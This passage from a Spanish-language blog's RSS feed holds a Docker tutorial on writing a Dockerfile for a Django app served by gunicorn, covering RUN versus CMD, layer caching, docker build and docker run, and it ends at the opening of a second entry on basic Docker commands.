exterior.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ENV PORT 8000&lt;/strong&gt;: Crea una variable de entorno llamada PORT con el valor de 8000. Esto nos servirá para poder acceder al puerto.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CMD [&amp;ldquo;gunicorn&amp;rdquo;, &amp;ldquo;myDockerDjangoApp.wsgi&amp;rdquo;]:&lt;/strong&gt; CMD ejecuta un comando al momento de poner en marcha un contenedor a partir de una imagen, los comandos y los argumentos se separan como si fueran una lista de Python. En este caso, como mencioné arriba, gunicorn solo necesita saber donde está el archivo wsgi que generó django automáticamente.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;diferencia-entre-run-y-cmd-en-docker&#34;&gt;Diferencia entre RUN y CMD en Docker&lt;/h3&gt;&#xA;&lt;p&gt;La directiva RUN te permite ejecutar comandos dentro de una imagen de Docker, &lt;strong&gt;estos comandos se ejecutan una sola vez cuando se compila la imagen&lt;/strong&gt; y quedan grabados en tu imagen de Docker, como una nueva capa. RUN es ideal para cambios permanentes que afecten la imagen, como la instalación de paquetes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;RUN&lt;/span&gt; pip install -r requirements.txt&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;CMD te permite ejecutar &lt;strong&gt;un comando una vez que el contenedor arranca&lt;/strong&gt;, sin embargo cualquier cambio en CMD requiere que recompiles la imagen. Lo anterior lo vuelve ideal para arrancar servidores web, o servicios.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Te ahorraré algo de tiempo. Me costó mucho aprender las bases de Kubernetes, después de ver múltiples videotutoriales (gratuitos y de paga) y leer algunos blogs sobre el tema, encontré este libro, me dio lo que otros recursos no pudieron así que me siento bastante cómodo recomendándolo. ¡Échale un vistazo!\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Kubernetes up and running\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4k0MDga\&#34;,\&#34;linkText\&#34;:\&#34;Consulte el libro Kubernetes up and running en Amazon\&#34;,\&#34;title\&#34;:\&#34;Cual es el mejor recurso para aprender Kubernetes\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CMD&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gunicorn&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;--bind&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;:8000&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;--workers&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;project.wsgi&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;el-orden-es-importante-en-un-dockerfile&#34;&gt;El orden es importante en un Dockerfile&lt;/h2&gt;&#xA;&lt;p&gt;La compilación de un Dockerfile es un proceso secuencial, cada paso crea una imagen intermediaria que Docker puede guardar en cache.&lt;/p&gt;&#xA;&lt;p&gt;Docker usa la cache almacenada para evitar tener que repetir pasos innecesarios cuando ocurre un cambio en un Dockerfile, es decir que si tú realizas un cambio en uno de los pasos, Docker tratará de usar sus datos en cache para no repetir todos los pasos anteriores.&lt;/p&gt;&#xA;&lt;p&gt;Por lo anterior, considera el orden en el que realizas tus instrucciones para evitarte compilaciones de imágenes costosas en tiempo y recursos.&lt;/p&gt;&#xA;&lt;p&gt;Tip: Coloca primero las instalaciones de paquetes o procesos que son poco propensos a cambiar y coloca al final aquellos pasos que cambian frecuentamente, como el código de tu aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sending build context to Docker daemon   12.8kB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 1/8 : FROM python:3.6&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 46ff56815c7c&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 2/8 : ENV PYTHONUNBUFFERED &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; c55438b3c6a0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 3/8 : ADD . /app/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; ecedebf26f36&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 4/8 : WORKDIR /app/myDockerDjangoApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 83b5ccaa1cc6&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 5/8 : RUN pip install -r /app/requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 6cb2683c8fa8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 6/8 : EXPOSE &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 744b46577c43&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 7/8 : ENV PORT &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 03111761fb54&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 8/8 : CMD &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gunicorn&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;myDockerDjangoApp.wsgi&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 6e3ffe358338&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully built 6e3ffe358338&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully tagged djangocontainer:0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;compilar-un-dockerfile-usando-docker-build&#34;&gt;Compilar un Dockerfile usando docker build&lt;/h2&gt;&#xA;&lt;p&gt;Para compilar un Dockerfile y crear una imagen personalizada creada a partir del contenido de nuestro archivo, basta con ejecutar el comando &lt;em&gt;docker build&lt;/em&gt; y establecer la localización del Dockerfile. &lt;em&gt;Docker build&lt;/em&gt; nos permite especificar un tagname y una versión, separados por dos puntos &amp;ldquo;:&amp;rdquo;, usando la etiqueta &lt;em&gt;--tag&lt;/em&gt;. Nota que el punto de al final no es una mancha en tu pantalla o un error, sino que hace referencia a la carpeta en la que nos encontramos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker build --tag djangocontainer:0.1 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Puedes ver que nuestra imagen ha sido creada ejecutando el comando &lt;em&gt;docker images&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker images&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REPOSITORY                                      TAG                 IMAGE ID            CREATED              SIZE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;djangocontainer                                 0.1                 6e3ffe358338        About a minute ago   912MB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que ya contamos con la imagen basta con ejecutarla. Para este ejemplo vincularemos nuestro puerto 8000 con el puerto 8000 de nuestro contenedor, ejecutaremos nuestro contenedor en segundo plano y lo nombraremos &lt;em&gt;test_container&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -p 8000:8000 -d --name test_container djangocontainer:0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¡Ahora viene la mejor parte! El momento donde averiguamos si nuestro código funciona o hicimos un desastre completo. Vamos a hacer una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-passwd-du-useradd-usermod-fdisk-apt/&#34;&gt;petición HTTP usando curl&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;!doctype html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;head&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;meta &lt;span style=&#34;color:#ff5c57&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si abrimos nuestro navegador y entramos a nuestro localhost en el puerto 8000 veremos el cohete de Django indicando que todo funcionó perfectamente. Gunicorn está sirviendo nuestra aplicación de Django en el puerto 8000, al que podemos acceder a través de nuestro puerto del mismo número.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El siguiente paso que podrías tomar es vincular muchas imágenes de Docker para tener una aplicación de tamaño pequeña o mediana con múltiples componentes, para eso &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/docker-compose-tutorial-con-comandos-en-gnu-linux/&#34;&gt;Docker-compose es la herramienta perfecta&lt;/a&gt;&#xA;. Mientras que para aplicaciones mucho más complejas existe Kubernetes, aunque probablemente sea un overkill para la mayoría de ideas de negocio.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/images/djangoRocketNoCursor.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/images/djangoRocketNoCursor.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Página de instalación exitosa de Django, muestra un mensaje bienvenida y enlaces a la documentación.&#34; width=&#34;735&#34; height=&#34;602&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;entrada anterior te explique los comandos más comunes de Docker, run, exec, pull, etc&lt;/a&gt;&#xA;. Hasta este momento todo se ha hecho de manera manual, a través de la terminal, pero que tal si queremos una manera de guardar nuestro proceso de transformaciones a una imagen para poder compartirlo fácilmente o para llevar un registro en git. Los Dockerfile permiten justamente eso y facilitan personalizar una imagen como una serie de pasos a seguir para llevar nuestro sistema al punto al que querramos.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Comandos de Docker más útiles para manejar contenedores</title>
      <link>https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/</link>
      <pubDate>Wed, 07 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Si te leíste la entrada anterior donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/que-es-docker-y-para-que-sirve/&#34;&gt;para que sirve Docker&lt;/a&gt;&#xA; ya debes tener una idea bastante simple de Docker, pero no he publicado nada acerca de los comandos. Aquí te explico los comandos de Docker más comunes, el uso de volúmenes y la creación de un Dockerfile de ejemplo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-imagenes-y-los-contenedores-son-diferentes&#34;&gt;Las imágenes y los contenedores son diferentes&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar hay que aclarar que en Docker trabajamos con contenedores que son creados a partir de imágenes. Una imagen es como una plantilla de solo lectura, mientras que el contenedor es la materialización de esa plantilla, se podría decir que es una imagen instanciada o en ejecución.&lt;/p&gt;&#xA;&lt;p&gt;Puedes pensar en las imágenes y contenedores &lt;strong&gt;como clases y sus instancias, respectivamente.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Si te interesa conocer como funciona, a nivel código, un contenedor, tengo una entrada donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/container-de-docker-con-namespaces-y-cgroups/&#34;&gt;como crear un contenedor desde cero con go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Te 